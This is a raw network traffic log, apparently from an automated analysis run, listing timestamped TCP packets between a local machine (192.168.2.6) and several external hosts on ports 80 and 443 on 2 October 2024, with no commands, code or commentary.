Oct 2, 2024 17:16:00.375274897 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.375298977 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.376307011 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.376352072 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.376359940 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.376363993 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.376393080 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.376405954 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.376521111 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.376530886 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.376539946 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.376549959 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.376559973 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.376563072 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.376594067 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.376744986 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.376755953 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.376791954 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.376856089 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.376867056 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.376876116 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.376884937 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.376902103 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.376933098 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.542603016 CEST	49722	80	192.168.2.6	41.216.188.190
Oct 2, 2024 17:16:00.542603016 CEST	49722	80	192.168.2.6	41.216.188.190
Oct 2, 2024 17:16:00.547921896 CEST	80	49722	41.216.188.190	192.168.2.6
Oct 2, 2024 17:16:00.547935963 CEST	80	49722	41.216.188.190	192.168.2.6
Oct 2, 2024 17:16:01.702488899 CEST	80	49722	41.216.188.190	192.168.2.6
Oct 2, 2024 17:16:01.745470047 CEST	49722	80	192.168.2.6	41.216.188.190
Oct 2, 2024 17:16:01.776279926 CEST	49726	443	192.168.2.6	104.26.3.46
Oct 2, 2024 17:16:01.776340961 CEST	443	49726	104.26.3.46	192.168.2.6
Oct 2, 2024 17:16:01.776411057 CEST	49726	443	192.168.2.6	104.26.3.46
Oct 2, 2024 17:16:01.777199030 CEST	49726	443	192.168.2.6	104.26.3.46
Oct 2, 2024 17:16:01.777219057 CEST	443	49726	104.26.3.46	192.168.2.6
Oct 2, 2024 17:16:02.248039007 CEST	443	49726	104.26.3.46	192.168.2.6
Oct 2, 2024 17:16:02.248116970 CEST	49726	443	192.168.2.6	104.26.3.46
Oct 2, 2024 17:16:02.250391006 CEST	49726	443	192.168.2.6	104.26.3.46
Oct 2, 2024 17:16:02.250408888 CEST	443	49726	104.26.3.46	192.168.2.6
Oct 2, 2024 17:16:02.250742912 CEST	443	49726	104.26.3.46	192.168.2.6
Oct 2, 2024 17:16:02.251945972 CEST	49726	443	192.168.2.6	104.26.3.46
Oct 2, 2024 17:16:02.295409918 CEST	443	49726	104.26.3.46	192.168.2.6
Oct 2, 2024 17:16:02.727644920 CEST	443	49726	104.26.3.46	192.168.2.6
Oct 2, 2024 17:16:02.727773905 CEST	443	49726	104.26.3.46	192.168.2.6
Oct 2, 2024 17:16:02.727832079 CEST	49726	443	192.168.2.6	104.26.3.46
Oct 2, 2024 17:16:02.735173941 CEST	49726	443	192.168.2.6	104.26.3.46
Oct 2, 2024 17:16:02.735202074 CEST	443	49726	104.26.3.46	192.168.2.6
Oct 2, 2024 17:16:02.735215902 CEST	49726	443	192.168.2.6	104.26.3.46
Oct 2, 2024 17:16:02.735224009 CEST	443	49726	104.26.3.46	192.168.2.6
Oct 2, 2024 17:16:03.267317057 CEST	49722	80	192.168.2.6	41.216.188.190
Oct 2, 2024 17:16:03.267806053 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:28.497914076 CEST	65230	443	192.168.2.6	104.102.49.254
Oct 2, 2024 17:16:28.497961998 CEST	443	65230	104.102.49.254	192.168.2.6
Oct 2, 2024 17:16:28.498028994 CEST	65230	443	192.168.2.6	104.102.49.254
Oct 2, 2024 17:16:28.500927925 CEST	65230	443	192.168.2.6	104.102.49.254
Oct 2, 2024 17:16:28.500938892 CEST	443	65230	104.102.49.254	192.168.2.6
Oct 2, 2024 17:16:29.149997950 CEST	443	65230	104.102.49.254	192.168.2.6
Oct 2, 2024 17:16:29.150099993 CEST	65230	443	192.168.2.6	104.102.49.254
Oct 2, 2024 17:16:29.217346907 CEST	65230	443	192.168.2.6	104.102.49.254
Oct 2, 2024 17:16:29.217377901 CEST	443	65230	104.102.49.254	192.168.2.6
Oct 2, 2024 17:16:29.217633963 CEST	443	65230	104.102.49.254	192.168.2.6
Oct 2, 2024 17:16:29.217678070 CEST	65230	443	192.168.2.6	104.102.49.254
Oct 2, 2024 17:16:29.219898939 CEST	65230	443	192.168.2.6	104.102.49.254
Oct 2, 2024 17:16:29.263395071 CEST	443	65230	104.102.49.254	192.168.2.6
Oct 2, 2024 17:16:29.671299934 CEST	443	65230	104.102.49.254	192.168.2.6
Oct 2, 2024 17:16:29.671320915 CEST	443	65230	104.102.49.254	192.168.2.6
Oct 2, 2024 17:16:29.671369076 CEST	443	65230	104.102.49.254	192.168.2.6
Oct 2, 2024 17:16:29.671449900 CEST	65230	443	192.168.2.6	104.102.49.254
Oct 2, 2024 17:16:29.671449900 CEST	65230	443	192.168.2.6	104.102.49.254
Oct 2, 2024 17:16:29.671526909 CEST	443	65230	104.102.49.254	192.168.2.6
Oct 2, 2024 17:16:29.671587944 CEST	65230	443	192.168.2.6	104.102.49.254
Oct 2, 2024 17:16:29.774274111 CEST	443	65230	104.102.49.254	192.168.2.6
Oct 2, 2024 17:16:29.774297953 CEST	443	65230	104.102.49.254	192.168.2.6
Oct 2, 2024 17:16:29.774353027 CEST	65230	443	192.168.2.6	104.102.49.254
Oct 2, 2024 17:16:29.774373055 CEST	443	65230	104.102.49.254	192.168.2.6
Oct 2, 2024 17:16:29.774395943 CEST	65230	443	192.168.2.6	104.102.49.254
Oct 2, 2024 17:16:29.774414062 CEST	65230	443	192.168.2.6	104.102.49.254
Oct 2, 2024 17:16:29.780412912 CEST	443	65230	104.102.49.254	192.168.2.6
Oct 2, 2024 17:16:29.780474901 CEST	65230	443	192.168.2.6	104.102.49.254
Oct 2, 2024 17:16:29.780491114 CEST	443	65230	104.102.49.254	192.168.2.6
Oct 2, 2024 17:16:29.780503035 CEST	443	65230	104.102.49.254	192.168.2.6
Oct 2, 2024 17:16:29.780550957 CEST	65230	443	192.168.2.6	104.102.49.254
Oct 2, 2024 17:16:29.780847073 CEST	65230	443	192.168.2.6	104.102.49.254
Oct 2, 2024 17:16:29.780860901 CEST	443	65230	104.102.49.254	192.168.2.6
Oct 2, 2024 17:16:29.793704033 CEST	65231	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:29.793754101 CEST	443	65231	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:29.793817997 CEST	65231	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:29.794142008 CEST	65231	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:29.794157982 CEST	443	65231	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:30.674699068 CEST	443	65231	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:30.674789906 CEST	65231	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:30.679804087 CEST	65231	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:30.679825068 CEST	443	65231	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:30.680077076 CEST	443	65231	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:30.680141926 CEST	65231	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:30.680639029 CEST	65231	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:30.727402925 CEST	443	65231	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:31.181332111 CEST	443	65231	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:31.181401014 CEST	65231	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:31.181416035 CEST	443	65231	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:31.181473970 CEST	65231	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:31.182312965 CEST	65231	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:31.182331085 CEST	443	65231	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:31.184914112 CEST	65232	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:31.184964895 CEST	443	65232	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:31.185092926 CEST	65232	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:31.185281038 CEST	65232	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:31.185306072 CEST	443	65232	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:31.829888105 CEST	443	65232	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:31.829967022 CEST	65232	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:31.830609083 CEST	65232	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:31.830621004 CEST	443	65232	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:31.833039045 CEST	65232	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:31.833053112 CEST	443	65232	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:32.550901890 CEST	443	65232	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:32.550983906 CEST	65232	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:32.550993919 CEST	443	65232	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:32.551064014 CEST	65232	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:32.551342010 CEST	65232	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:32.551362991 CEST	443	65232	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:32.553109884 CEST	65233	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:32.553177118 CEST	443	65233	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:32.553261042 CEST	65233	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:32.553543091 CEST	65233	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:32.553556919 CEST	443	65233	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:33.213043928 CEST	443	65233	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:33.213109970 CEST	65233	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:33.213658094 CEST	65233	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:33.213670015 CEST	443	65233	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:33.216350079 CEST	65233	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:33.216356039 CEST	443	65233	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:33.909982920 CEST	443	65233	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:33.910007954 CEST	443	65233	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:33.910051107 CEST	65233	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:33.910065889 CEST	443	65233	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:33.910079956 CEST	65233	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:33.910079956 CEST	443	65233	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:33.910125971 CEST	65233	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:33.910454035 CEST	65233	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:33.910469055 CEST	443	65233	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:33.912564039 CEST	65234	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:33.912589073 CEST	443	65234	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:33.912667036 CEST	65234	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:33.912941933 CEST	65234	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:33.912950039 CEST	443	65234	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:34.567372084 CEST	443	65234	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:34.567461014 CEST	65234	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:34.568032980 CEST	65234	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:34.568041086 CEST	443	65234	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:34.570239067 CEST	65234	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:34.570251942 CEST	443	65234	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:35.251611948 CEST	443	65234	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:35.251642942 CEST	443	65234	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:35.251698017 CEST	65234	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:35.251707077 CEST	443	65234	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:35.251969099 CEST	65234	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:35.252216101 CEST	65234	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:35.252234936 CEST	443	65234	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:35.252249002 CEST	65234	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:35.252278090 CEST	65234	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:35.254112959 CEST	65235	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:35.254153967 CEST	443	65235	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:35.254329920 CEST	65235	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:35.254636049 CEST	65235	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:35.254654884 CEST	443	65235	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:35.923008919 CEST	443	65235	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:35.923244953 CEST	65235	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:35.923794985 CEST	65235	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:35.923804998 CEST	443	65235	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:35.926211119 CEST	65235	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:35.926217079 CEST	443	65235	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:36.606862068 CEST	443	65235	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:36.606940031 CEST	443	65235	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:36.606941938 CEST	65235	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:36.607043982 CEST	65235	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:36.607271910 CEST	65235	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:36.607291937 CEST	443	65235	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:36.689579964 CEST	65236	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:36.689623117 CEST	443	65236	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:36.689740896 CEST	65236	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:36.690031052 CEST	65236	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:36.690045118 CEST	443	65236	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:37.346836090 CEST	443	65236	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:37.347023010 CEST	65236	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:37.348139048 CEST	65236	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:37.348145008 CEST	443	65236	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:37.352503061 CEST	65236	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:37.352510929 CEST	443	65236	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:37.352785110 CEST	65236	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:37.352796078 CEST	443	65236	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:37.683751106 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:37.683809042 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:37.685853958 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:37.686147928 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:37.686162949 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:38.096105099 CEST	443	65236	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:38.096184969 CEST	443	65236	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:38.096251011 CEST	65236	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:38.097225904 CEST	65236	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:38.097240925 CEST	443	65236	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:38.354085922 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:38.354203939 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:38.354841948 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:38.354860067 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:38.357374907 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:38.357393026 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:38.781038046 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:38.781058073 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:38.781073093 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:38.781115055 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:38.781160116 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:38.781181097 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:38.781187057 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:38.781210899 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:38.781227112 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:38.811124086 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:38.811142921 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:38.811197042 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:38.811244011 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:38.811263084 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:38.811492920 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:38.876771927 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:38.876827002 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:38.876898050 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:38.876934052 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:38.876955032 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:38.877213001 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:38.901890039 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:38.901923895 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:38.902004004 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:38.902045965 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:38.903590918 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:38.933969975 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:38.933994055 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:38.934075117 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:38.934112072 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:38.934137106 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:38.934159994 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:38.964507103 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:38.964533091 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:38.964637041 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:38.964660883 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:38.964761019 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:38.986819029 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:38.986840010 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:38.986920118 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:38.986938000 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:38.986975908 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:39.004021883 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.004062891 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.004158020 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:39.004196882 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.004213095 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:39.004317045 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:39.020489931 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.020530939 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.020584106 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:39.020606995 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.020636082 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:39.020649910 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:39.033922911 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.033957005 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.034014940 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:39.034044027 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.034063101 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:39.034107924 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:39.049061060 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.049099922 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.049187899 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:39.049218893 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.049277067 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:39.061199903 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.061235905 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.061348915 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:39.061383963 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.061572075 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:39.075289965 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.075321913 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.075414896 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:39.075442076 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.075534105 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:39.087619066 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.087651014 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.087721109 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:39.087747097 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.087763071 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:39.087784052 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:39.096299887 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.096333027 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.096404076 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:39.096431971 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.097325087 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:39.106044054 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.106071949 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.106154919 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:39.106178999 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.106343985 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:39.115093946 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.115120888 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.115170002 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:39.115186930 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.115212917 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:39.115231991 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:39.126319885 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.126357079 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.126447916 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:39.126477003 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.127321005 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:39.139988899 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.140016079 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.140137911 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:39.140137911 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:39.140166044 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.140412092 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:39.152298927 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.152328968 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.152410030 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:39.152416945 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.152657986 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:39.166867971 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.166898966 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.166970015 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:39.167004108 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.167020082 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:39.167572975 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:39.176837921 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.176858902 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.176939011 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:39.176970005 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.177294970 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:39.187336922 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.187356949 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.187617064 CEST	65237	443	192.168.2.6	49.12.197.9
